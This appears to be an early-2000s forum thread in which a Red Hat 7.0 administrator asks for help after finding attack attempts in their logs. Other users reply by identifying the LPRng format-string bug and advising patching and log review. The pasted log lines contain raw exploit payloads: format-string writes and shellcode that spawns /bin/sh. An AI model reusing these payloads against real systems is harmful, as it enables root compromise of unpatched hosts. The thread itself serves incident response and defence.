RH7.0
This I read most likely comprimised my root. What other logs can I look in to try and get an idea of what this person did at 3:30 am last nite? This was out of my /var/log/messages : ****************************************************** Apr 30 03:31:08 linux SERVER[6812]: Dispatch_input: bad request line 'BBØóÿ¿Ùóÿ¿Úóÿ¿Ûóÿ¿XXXXXXXXXXXXXXXXXX%.1 52u%300$n%.25u%301$nsecurity%302$n%.192u%303$n1Û1É1À°FÍ å1Ò²fÐ1ÉËC]øC]ôKMüMôÍ1ÉEôCf]ìfÇEî^O'MðEìEøÆEü^PÐMôÍÐCCÍÐCÍÃ1ɲ?ÐÍÐAÍë^X^u^H1ÀF^GE^L°^KóM^HU^LÍèãÿÿÿ/bin/sh' Apr 30 03:31:08 linux SERVER[6813]: Dispatch_input: bad request line 'BBÔóÿ¿Õóÿ¿Öóÿ¿×óÿ¿XXXXXXXXXXXXXXXXXX%.1 48u%300$n%.29u%301$nsecurity%302$n%.192u%303$n1Û1É1À°FÍ å1Ò²fÐ1ÉËC]øC]ôKMüMôÍ1ÉEôCf]ìfÇEî^O'MðEìEøÆEü^PÐMôÍÐCCÍÐCÍÃ1ɲ?ÐÍÐAÍë^X^u^H1ÀF^GE^L°^KóM^HU^LÍèãÿÿÿ/bin/sh' Apr 30 03:31:08 linux SERVER[6814]: Dispatch_input: bad request line 'BBÐóÿ¿Ñóÿ¿Òóÿ¿Óóÿ¿XXXXXXXXXXXXXXXXXX%.1 44u%300$n%.33u%301$nsecurity%302$n%.192u%303$n1Û1É1À°FÍ å1Ò²fÐ1ÉËC]øC]ôKMüMôÍ1ÉEôCf]ìfÇEî^O'MðEìEøÆEü^PÐMôÍÐCCÍÐCÍÃ1ɲ?ÐÍÐAÍë^X^u^H1ÀF^GE^L°^KóM^HU^LÍèãÿÿÿ/bin/sh' Apr 30 03:31:08 linux SERVER[6815]: Dispatch_input: bad request line 'BBÌóÿ¿Íóÿ¿Îóÿ¿Ïóÿ¿XXXXXXXXXXXXXXXXXX%.1 40u%300$n%.37u%301$nsecurity%302$n%.192u%303$n1Û1É1À°FÍ å1Ò²fÐ1ÉËC]øC]ôKMüMôÍ1ÉEôCf]ìfÇEî^O'MðEìEøÆEü^PÐMôÍÐCCÍÐCÍÃ1ɲ?ÐÍÐAÍë^X^u^H1ÀF^GE^L°^KóM^HU^LÍèãÿÿÿ/bin/sh' Apr 30 03:31:09 linux SERVER[6816]: Dispatch_input: bad request line 'BBÈóÿ¿Éóÿ¿Êóÿ¿Ëóÿ¿XXXXXXXXXXXXXXXXXX%.1 36u%300$n%.41u%301$nsecurity%302$n%.192u%303$n1Û1É1À°FÍ å1Ò²fÐ1ÉËC]øC]ôKMüMôÍ1ÉEôCf]ìfÇEî^O'MðEìEøÆEü^PÐMôÍÐCCÍÐCÍÃ1ɲ?ÐÍÐAÍë^X^u^H1ÀF^GE^L°^KóM^HU^LÍèãÿÿÿ/bin/sh' Apr 30 03:31:09 linux SERVER[6817]: Dispatch_input: bad request line 'BBÄóÿ¿Åóÿ¿Æóÿ¿Çóÿ¿XXXXXXXXXXXXXXXXXX%.1 32u%300$n%.45u%301$nsecurity%302$n%.192u%303$n1Û1É1À°FÍ å1Ò²fÐ1ÉËC]øC]ôKMüMôÍ1ÉEôCf]ìfÇEî^O'MðEìEøÆEü^PÐMôÍÐCCÍÐCÍÃ1ɲ?ÐÍÐAÍë^X^u^H1ÀF^GE^L°^KóM^HU^LÍèãÿÿÿ/bin/sh' Apr 30 03:31:09 linux SERVER[6818]: Dispatch_input: bad request line 'BBÀóÿ¿Áóÿ¿Âóÿ¿Ãóÿ¿XXXXXXXXXXXXXXXXXX%.1 28u%300$n%.49u%301$nsecurity%302$n%.192u%303$n1Û1É1À°FÍ å1Ò²fÐ1ÉËC]øC]ôKMüMôÍ1ÉEôCf]ìfÇEî^O'MðEìEøÆEü^PÐMôÍÐCCÍÐCÍÃ1ɲ?ÐÍÐAÍë^X^u^H1ÀF^GE^L°^KóM^HU^LÍèãÿÿÿ/bin/sh' Apr 30 03:31:10 linux SERVER[6819]: Dispatch_input: bad request line 'BB¼óÿ¿½óÿ¿¾óÿ¿¿óÿ¿XXXXXXXXXXXXXXXXXX%.1 24u%300$n%.53u%301$nsecurity%302$n%.192u%303$n1Û1É1À°FÍ å1Ò²fÐ1ÉËC]øC]ôKMüMôÍ1ÉEôCf]ìfÇEî^O'MðEìEøÆEü^PÐMôÍÐCCÍÐCÍÃ1ɲ?ÐÍÐAÍë^X^u^H1ÀF^GE^L°^KóM^HU^LÍèãÿÿÿ/bin/sh' Apr 30 03:31:10 linux SERVER[6820]: Dispatch_input: bad request line 'BB¸óÿ¿¹óÿ¿ºóÿ¿»óÿ¿XXXXXXXXXXXXXXXXXX%.1 20u%300$n%.57u%301$nsecurity%302$n%.192u%303$n1Û1É1À°FÍ å1Ò²fÐ1ÉËC]øC]ôKMüMôÍ1ÉEôCf]ìfÇEî^O'MðEìEøÆEü^PÐMôÍÐCCÍÐCÍÃ1ɲ?ÐÍÐAÍë^X^u^H1ÀF^GE^L°^KóM^HU^LÍèãÿÿÿ/bin/sh' **************************************************** How can I stop this? Fawwwwwwwk! |
Advovate,
Someone has "attempted" to get into your system through LPR's logging function. Doesn't look like they got root access but they did use the LPRng string format _syslog bug, that could allow root access. So far to my knowledge no one has managed to get root through this bug. I have one suggestion just in case GO PATCH IT NOW.... Then all those nasty messages will go away. i386: ftp://updates.redhat.com/7.0/en/os/i....24-2.i386.rpm sources: ftp://updates.redhat.com/7.0/en/os/S...6.24-2.src.rpm Check out the command "last" and work out who was logged on at that time. Bye, /Raz |
Thanks RazBot
I appreciate you taking the time to view the post.
And not having root comprimised was such a relief to see you say! I have already upgraded to RH7.1 (Seawolf). The one message I didnt post from my log file is as follows: (this entry was made 30 seconds before the LPRng exploit started happening, would you consider this a likely candidate for the source?) Apr 30 03:30:03 linux named[853]: Lame server on '221.239.219.216.in-addr.arpa' (in'239.219.216.in-addr.arpa'?): [216.219.254.10].53 'NS2.VALUEWEB.NET' Again thanks for your time! :) |
Advocate,
I that log message was not the person entering your system, but it is a message resulting in something they may have done with DIG or NSLOOKUP. I guess they have been on the system before that time you got in the first LPRng bug logs. ------------ Apr 30 03:30:03 linux named[853]: Lame server on '221.239.219.216.in-addr.arpa' (in'239.219.216.in-addr.arpa'?): [216.219.254.10].53 'NS2.VALUEWEB.NET' ------------ The DNS records say that 216.219.239.221 should be a server for the 216.219.239.0 zone, but when in'239.219.216.in-addr. was asked for a record in the 216.219.239.0 it said that it wasn't authorities for that zone. i.e a zone transfer attempt failed. Looks like they knew what they were doing. /Raz |
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